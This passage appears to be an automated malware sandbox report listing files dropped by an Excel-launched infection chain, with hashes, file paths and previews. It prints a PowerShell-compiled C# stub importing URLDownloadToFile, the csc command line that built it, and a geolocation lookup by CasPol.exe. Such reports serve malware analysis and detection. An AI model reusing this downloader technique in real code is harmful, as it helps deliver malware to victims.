                                                                                                                                                                                                Preview:..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .a.n.o.r.r.i.n.c.o.)..... . . . .d.i.m. .m.e.r.c.a.n.t.i.l.m.e.n.t.e.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .m.e.r.c.a.n.t.i.l.m.e.n.t.e..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .m.e.r.c.a.n.t.i.l.m.e.n.t.e.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.

                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\json[1].json

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):957
                                                                                                                                                                                                Entropy (8bit):5.008295404649503
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24:qIdRNuKyGX85jHf3SvXhNlT3/7YvfbYro:1PN0GX85mvhjTkvfEro
                                                                                                                                                                                                MD5:DBECB60E9BD995D373A1D3F74C1231EE
                                                                                                                                                                                                SHA1:AE7AEA18E0A39105D091A408BDB5D29C9146654F
                                                                                                                                                                                                SHA-256:67A1E877B73137B9C94141FD3B3233FA20EFFE73C98728F52C08290AD329899A
                                                                                                                                                                                                SHA-512:B1883B44AE8DC87EBF4E7BCEB70CA84CC38257E2BE2AC90C93B44647E5EDF84B5A07AE67F6A93BCA0984A23D7D430BEFDACBCADC53F6815BB5EC70773C69274F
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:{. "geoplugin_request":"173.254.250.72",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"Killeen",. "geoplugin_region":"Texas",. "geoplugin_regionCode":"TX",. "geoplugin_regionName":"Texas",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"625",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"31.0065",. "geoplugin_longitude":"-97.8406",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/Chicago",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\83A87E6E.emf

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):948904
                                                                                                                                                                                                Entropy (8bit):4.3015274957953835
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:6144:AlQjzSMB4vzS2ldMipDi9bvN7GfuW89Drvwi:RjmMuLS+FYvUfuf
                                                                                                                                                                                                MD5:BFCC1D69256662FE3EE171D87CBD2E0D
                                                                                                                                                                                                SHA1:4E62BABAE67C54969EA8E479FCF631940A8AEA7A
                                                                                                                                                                                                SHA-256:9874D7AD9948C2A15511E0E63C73855AD7CE0442C750F4851E8A6A819AF1E934
                                                                                                                                                                                                SHA-512:4A971FAE9B35F70D343D0AB8199459A4151408A87EB6A02D5F60709EB7AC5585040A2B5F0F2C91D49DF1A266BF6D95664C4D90209AF666E9DFB5364D982FECCD
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:....l...........................6[...%.. EMF.....z..4...........................@...........................F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......1.......Z.......1.......*...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8D9EA708.emf

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):3327384
                                                                                                                                                                                                Entropy (8bit):2.7194669496410246
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3072:Z7a8PzoHivajYI2qoWdBXo7eTyPYI2qMWyE7jd/adDrvTUrUI+OZurZU:IYIivajYI2qoWdBceTyPYI2qMWKDrvwN
                                                                                                                                                                                                MD5:C4DD0C2444A30BE763E47115953CFA07
                                                                                                                                                                                                SHA1:99F7022CDE8F26C055FBFEA8B2584D1F8A270D03
                                                                                                                                                                                                SHA-256:A1E1DA1D0DED40817B1EAA5BA87075214130D7594F8A1AA77A322D93BB934567
                                                                                                                                                                                                SHA-512:00080B200C5FA765FB149EF77D51094CD000E87E3666D5E3BA898FE125AF784DF7893CA7AC65746EB7BCBC01E724FA3E43D9D7C3A712038EF33F1CE91C5A04B6
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:....l............................S...".. EMF......2.D...-...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......<.......m.......<.......2...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B763AB69.emf

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1505804
                                                                                                                                                                                                Entropy (8bit):2.2724441801037254
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:1536:lQrhWbHXoBJInW1hks7zUqyff15T8BPYI2qvERw/PbKFyjkjzOHK:ZXo7eTyPYI2qMW8
                                                                                                                                                                                                MD5:BD7348432D730D0E598D73B7E5CF57D2
                                                                                                                                                                                                SHA1:37368BC098DF63863ED9633F6A22BBD9E9F02EF5
                                                                                                                                                                                                SHA-256:7D7E6E348B2712249BD4EF777A83EF491F43356FE0F79FA33122DC668C8D934B
                                                                                                                                                                                                SHA-512:107E24F5A7C2775E5FA3828112A693601A5F5C30BB33C21FB934FF8F28EE79F3498C977A52958B58DB3F719112C6887D6C21F22D4A557D62AC1A937B651C9947
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:....l...........R...I............)...;.. EMF................................8...X....................?...........................................)...;..........S...J...Q...P...........R...I...................S...J...P...(...x........... ....)...;..(...S...J.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C39C8A56.emf

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):172076
                                                                                                                                                                                                Entropy (8bit):3.1342558498505824
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:1536:7DqEuvAIid/aQGb1BfUErpxTORWEl+tIL22EZCd:iEuWd/adDrvTUP22Bd
                                                                                                                                                                                                MD5:D85DAC1376E45C58F790BD50C2729F6C
                                                                                                                                                                                                SHA1:5BD339C54A944689935652E4A1CC78961EB19589
                                                                                                                                                                                                SHA-256:CE5CF5334F2BF26B0B3F4B135B2BEA9126CB29DD1C5BED1F558FAA2BFE4C8E48
                                                                                                                                                                                                SHA-512:6B864B3E47331C5C37376B1F9ED7FE1F8D48BE27438DE9C4D7BA3B3ED6ED3F319425E8D696B51C7969AD3C10A7285D7212E59FDDAC8385BCD992A03EF189789A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:....l..............................eQ.. EMF....,.......$...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................L...d...........T...)..............."...!..............?...........?................................'.......................%...................................&...........................%.......

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.0.cs

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (351)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):474
                                                                                                                                                                                                Entropy (8bit):3.984648033657323
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:6:V/DsYLDS81zu08BMmfZQXReKJ8SRHy4HBZmavmjh/cv8dQy:V/DTLDfu2XfH9opQy
                                                                                                                                                                                                MD5:5CB8EE8CEB5D933395268BBC87232D70
                                                                                                                                                                                                SHA1:32B432C7FBD48854320FF5A049AC16F5BCE1DD34
                                                                                                                                                                                                SHA-256:D0B54B8ED299319FCC1A25EB38CBBEEC96C9CC7232D8D8ACE1EB34B0EE73C5A2
                                                                                                                                                                                                SHA-512:FDCDC9784F4CB577853FBB338C8D2ACF4E489AB0E27C0A2E10F9D969F20A57EF385A947AA4B93BDF2785212F0E8263CDEAE153D7440DBE26841E1DA94BE713F4
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:.using System;.using System.Runtime.InteropServices;..namespace KsICyifXsxI.{. public class auGmnzdZ. {. [DllImport("UrLmoN", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr hMtwSAL,string iWFQXX,string lWNnWPmSuZs,uint IDMzD,IntPtr GCDDZrNBMyu);.. }..}.

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.cmdline

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):369
                                                                                                                                                                                                Entropy (8bit):5.239148871572936
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fCNzxs7+AEszIP23fCEx:p37Lvkmb6KzEWZEo3x
                                                                                                                                                                                                MD5:C805B919F8FEF1A839D0DFDAC00C45C8
                                                                                                                                                                                                SHA1:9DA4BF7CDE179E5B50AF142FB4C6C2A8C3864D5F
                                                                                                                                                                                                SHA-256:9B27975AA77B4B253C5C58963BE96D4C5D30A03AF50CAFA035DDA89997C4B89A
                                                                                                                                                                                                SHA-512:307CC2C566E0D5E9A34350DFDCBA36373BE577852DAB44F953FAB850D2D7FA88035D3D02452927910483AAF3E5339DDCA1C78AC5D7283AD59B90FCA302CFFEE1
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.0.cs"

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.dll

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):3072
                                                                                                                                                                                                Entropy (8bit):2.874107863669922
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24:etGSlp2YYnl8cPkSy1K3VFtkZfwJjq4lWI+ycuZhNWakSuPNnq:6mY8+gy1KlwJwhqF1ulWa3yq
                                                                                                                                                                                                MD5:B176953B69970AFA541F2A9E83C9FA30
                                                                                                                                                                                                SHA1:9C0D3E51D021A10988E159DADE2DE4B726813F09
                                                                                                                                                                                                SHA-256:AB5328B5B34BAA61DC653540C60EE6CC9662C2A475494FA535FCB1D3015223FA
                                                                                                                                                                                                SHA-512:AFFAA2839112545ACBE6CC736EB77D0F2A3C6C8DC20D56D7268C1D17B1F430C7067A9FB62BDA3B493D3F0991F75B88651002C23BA7749C2CC51424795F5AA1B4
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... g...........!.................#... ...@....... ....................................@.................................h#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~......(...#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................<.5....................................... .............. C.....P ......U.........[.....c.....j.....v.....|...U.....U...!.U.....U.......!.....*.!.....C.......................................,..........<Module>.1v

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.out

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
                                                                                                                                                                                                Category:modified
                                                                                                                                                                                                Size (bytes):866
                                                                                                                                                                                                Entropy (8bit):5.335050634018363
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24:AId3ka6KzlEo3UKaMD5DqBVKVrdFAMBJTH:Akka60lEo3UKdDcVKdBJj
                                                                                                                                                                                                MD5:02D81AA087CBCA5019A6674C3A3E01C2
                                                                                                                                                                                                SHA1:869D91F7E9BD5F9808126AF12C7D2C7D166ABBAD
                                                                                                                                                                                                SHA-256:A8B2FAC2663D9CCA05C611F72BA2287437A83A14C49AC78C2015FD0F0E05F290
                                                                                                                                                                                                SHA-512:222486B147B8202C4C2D3CC42A1A4DF96AF5799061500FF661E7DCED8A8C349250474B50403B7ECF32E6CD44ADA9D64576355A39C9F1EFE0A5D12444A7AC00B7
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\1vm3e1kt\CSC4B568FC3E3A64456AB5664CB529ACC2C.TMP

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                File Type:MSVC .res
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):652
                                                                                                                                                                                                Entropy (8bit):3.1144641976181524
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryBaak7YnqqyrPN5Dlq5J:+RI+ycuZhNWakSuPNnqX
                                                                                                                                                                                                MD5:1F622FA3A3BC207BE2492B64E8EB1799
                                                                                                                                                                                                SHA1:A18864E6F16BB7C82E464605DCF4FFA28A66C99A
                                                                                                                                                                                                SHA-256:6345819EE012F7BB2E97F141FB43B99FF307541F493CA228D81CADE246B5CA21
                                                                                                                                                                                                SHA-512:21CD6F42091EF48ADC122940A924910E0063D21F72693D450AF35834BE50D5218C984D4075285B0091FD5DD7F6BAD9C00BD32BBCB3FDED88E01480CA037F022D
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.v.m.3.e.1.k.t...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...1.v.m.3.e.1.k.t...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2aco12pb.tpa.ps1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\RES7781.tmp

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Tue Oct 29 15:30:45 2024, 1st section name ".debug$S"
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1328
                                                                                                                                                                                                Entropy (8bit):3.9981029773463375
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24:HK6e9E2UE0uhdHOFwKdNWI+ycuZhNXxakS22PNnqSqd:qaEfHPKd41ulXxa32KqSK
                                                                                                                                                                                                MD5:09A85530F44E0D14E8068CA400360C17
                                                                                                                                                                                                SHA1:0AE8F1DAB0122957A04D3224E4CFFBFE57A71062
                                                                                                                                                                                                SHA-256:39A1ABDD9970A6378E8857C2E9402F6426166904806B654F4D2A0D0C4C6BF308
                                                                                                                                                                                                SHA-512:B05BF740A74D08122BF0700AD8149D420F99047B915EE0E1758F8737DBC6C13559457C311C04CDE2B06707A3C361B3892F0D9B16FCA383B0EE6FB7EDE6ADD363
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:L..... g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\htcuymda\CSCED218374D5764718ADCDD459E0E116EB.TMP........................).z.D..........4.......C:\Users\user\AppData\Local\Temp\RES7781.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...h.t.c.u.y.m.d.a...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\RESC6F7.tmp

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Tue Oct 29 15:31:06 2024, 1st section name ".debug$S"
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1328
                                                                                                                                                                                                Entropy (8bit):3.9992483091214517
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24:Hme9E2UeQyrXdHrwKdNWI+ycuZhNWakSuPNnqSqd:uPyh8Kd41ulWa3yqSK
                                                                                                                                                                                                MD5:14B5BD0B2F5F905ED5111D1AED17EF27
                                                                                                                                                                                                SHA1:81465F27DE8DF3622BEC13439E6C339AA1371262
                                                                                                                                                                                                SHA-256:009326684C8AF3CE8871B1CFB766268692B9F6FBCAF2AEBCE7E893728138B474
                                                                                                                                                                                                SHA-512:D49597431C5D8FA36A56874CDA210812402968B175C7C47653A247DD2B8A039FAD2EEB4B22A403774E86E412AC3E4A59D8C88305D4CE28602A68C7EC34A5E338
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:L..... g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\1vm3e1kt\CSC4B568FC3E3A64456AB5664CB529ACC2C.TMP................b/... {.I+d..............4.......C:\Users\user\AppData\Local\Temp\RESC6F7.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.v.m.3.e.1.k.t...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\bd1f2yfi.uuk.psm1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\bhv8BAD.tmp

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                File Type:Extensible storage engine DataBase, version 0x620, checksum 0x2895011e, page size 32768, DirtyShutdown, Windows version 6.1
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):21037056
                                                                                                                                                                                                Entropy (8bit):1.135563693758393
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:24576:e91U91o2I+0mZ5lEHLcGaHqqnEXwPtofJIRH330nW/jMB1emX4UJlNd:e9EXaLuHqqEXwPW+RHA6m1fN
                                                                                                                                                                                                MD5:D56F6B78E2AEF260BCF77299061E3BE2
                                                                                                                                                                                                SHA1:E12ADE68F9D97E613689AECAED3BCE9FE87609FD
                                                                                                                                                                                                SHA-256:A3765B7B63537E00FCECB54852A6F1BD4E26BF2DDB74C3937AC1A05C365A23EE
                                                                                                                                                                                                SHA-512:CB35950CA75538588B0F7030A41189278B960EDAB04AF664B74FD9AAB55B921128662EA7BA54A75B56800FCBBB9447F973B463A73492C1257E77495DE1A33025
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:(...... ........................u..............................;:...{.......|.......................................u..............................................................................................+............................................................................................................................... .......4....{......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\bmolkgsr.w3a.ps1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                Preview:1

                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\bp4voxdn.3y1.ps1

                                                                                                                                                                                                Download File
                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                File Type:very short file (no magic)
                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                Size (bytes):1
                                                                                                                                                                                                Entropy (8bit):0.0
                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                SSDEEP:3:U:U
                                                                                                                                                                                                MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                SHA1:356A192B7913B04C54574D18C28D46E6395428AB
